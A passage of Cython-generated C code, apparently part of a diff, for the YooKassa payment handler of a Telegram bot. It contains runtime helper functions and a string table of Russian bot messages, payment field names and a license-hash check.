'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pyobject_as_double.proto */ +static double __Pyx__PyObject_AsDouble(PyObject* obj); +#if CYTHON_COMPILING_IN_PYPY +#define __Pyx_PyObject_AsDouble(obj)\ +(likely(PyFloat_CheckExact(obj)) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyInt_CheckExact(obj)) ?\ + PyFloat_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#else +#define __Pyx_PyObject_AsDouble(obj)\ +((likely(PyFloat_CheckExact(obj))) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyLong_CheckExact(obj)) ?\ + PyLong_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#endif + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* PyObjectSetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o, n, NULL) +static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value); +#else +#define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) +#define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) +#endif + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.yookassa_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.yookassa_pay" +extern int __pyx_module_is_main_handlers__payments__yookassa_pay; +int __pyx_module_is_main_handlers__payments__yookassa_pay = 0; + +/* Implementation of "handlers.payments.yookassa_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k_ID[] = "\320\236\321\202\321\201\321\203\321\202\321\201\321\202\320\262\321\203\320\265\321\202 ID \320\277\320\273\320\260\321\202\320\265\320\266\320\260 \320\262 \320\267\320\260\320\277\321\200\320\276\321\201\320\265"; +static const char __pyx_k__2[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__3[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__4[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__6[] = "|"; +static const char __pyx_k__8[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\261\320\260\320\273\320\260\320\275\321\201\320\260"; +static const char __pyx_k__9[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k_RUB[] = "RUB"; +static const char __pyx_k__10[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k__11[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; +static const char __pyx_k__12[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__14[] = " \320\275\320\265 \320\267\320\260\320\262\320\265\321\200\321\210\321\221\320\275 \320\270\320\273\320\270 \320\275\320\265 \320\276\320\277\320\273\320\260\321\207\320\265\320\275"; +static const char __pyx_k__15[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\265 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__17[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__18[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__21[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__22[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__23[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__24[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__25[] = "*"; +static const char __pyx_k__26[] = "."; +static const char __pyx_k__33[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_1_00[] = "1.00"; +static const char __pyx_k_ID_2[] = "\320\237\320\273\320\260\321\202\320\265\320\266 \321\201 ID "; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_info[] = "info"; +static const char __pyx_k_json[] = "json"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_paid[] = "paid"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_type[] = "type"; +static const char __pyx_k_uuid[] = "uuid"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_email[] = "email"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_event[] = "event"; +static const char __pyx_k_items[] = "items"; +static const char __pyx_k_phone[] = "phone"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_uuid4[] = "uuid4"; +static const char __pyx_k_value[] = "value"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_create[] = "create"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_object[] = "object"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_Payment[] = "Payment"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_capture[] = "capture"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_payment[] = "payment"; +static const char __pyx_k_pending[] = "pending"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_receipt[] = "receipt"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_warning[] = "warning"; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_amount_2[] = ", amount: "; +static const char __pyx_k_currency[] = "currency"; +static const char __pyx_k_customer[] = "customer"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_find_one[] = "find_one"; +static const char __pyx_k_metadata[] = "metadata"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_quantity[] = "quantity"; +static const char __pyx_k_redirect[] = "redirect"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_solo_net[] = "@solo.net"; +static const char __pyx_k_vat_code[] = "vat_code"; +static const char __pyx_k_yookassa[] = "yookassa_"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_from_user[] = "from_user"; +static const char __pyx_k_full_name[] = "full_name"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_succeeded[] = "succeeded"; +static const char __pyx_k_Account_ID[] = "Account ID: "; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_Secret_Key[] = "Secret Key: "; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_account_id[] = "account_id"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_payment_id[] = "payment_id"; +static const char __pyx_k_return_url[] = "return_url"; +static const char __pyx_k_secret_key[] = "secret_key"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_yookassa_2[] = "yookassa"; +static const char __pyx_k_79000000000[] = "79000000000"; +static const char __pyx_k_MAIN_SECRET[] = "MAIN_SECRET"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_customer_id[] = "customer_id"; +static const char __pyx_k_description[] = "description"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_payment_url[] = "payment_url"; +static const char __pyx_k_solonet_sup[] = "\342\235\214 \320\237\320\270\321\200\320\260\321\202\321\201\320\272\320\260\321\217 \320\262\320\265\321\200\321\201\320\270\321\217, \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203 @solonet_sup."; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_user_id_str[] = "user_id_str"; +static const char __pyx_k_API_Yookassa[] = "\320\237\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \320\277\320\273\320\260\321\202\320\265\320\266\320\260 \321\207\320\265\321\200\320\265\320\267 API Yookassa: "; +static const char __pyx_k_confirmation[] = "confirmation"; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_pay_yookassa[] = "pay_yookassa"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_Configuration[] = "Configuration"; +static const char __pyx_k_YOOKASSA_HASH[] = "YOOKASSA_HASH"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_customer_name[] = "customer_name"; +static const char __pyx_k_expected_hash[] = "expected_hash"; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_customer_email[] = "customer_email"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_payment_object[] = "payment_object"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_user_id_amount[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\272\320\276\320\275\320\262\320\265\321\200\321\202\320\260\321\206\320\270\320\270 user_id \320\270\320\273\320\270 amount: "; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_YOOKASSA_ENABLE[] = "YOOKASSA_ENABLE"; +static const char __pyx_k_YOOKASSA_HASH_2[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 YOOKASSA_HASH. \320\222\321\213\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\277\321\200\320\265\321\200\320\262\320\260\320\275\320\276."; +static const char __pyx_k_inline_keyboard[] = "inline_keyboard"; +static const char __pyx_k_yookassa_amount[] = "yookassa_amount|"; +static const char __pyx_k_HASHHASHYOOKASSA[] = "HASHHASHYOOKASSA"; +static const char __pyx_k_YOOKASSA_SHOP_ID[] = "YOOKASSA_SHOP_ID"; +static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; +static const char __pyx_k_confirmation_url[] = "confirmation_url"; +static const char __pyx_k_yookassa_webhook[] = "yookassa_webhook"; +static const char 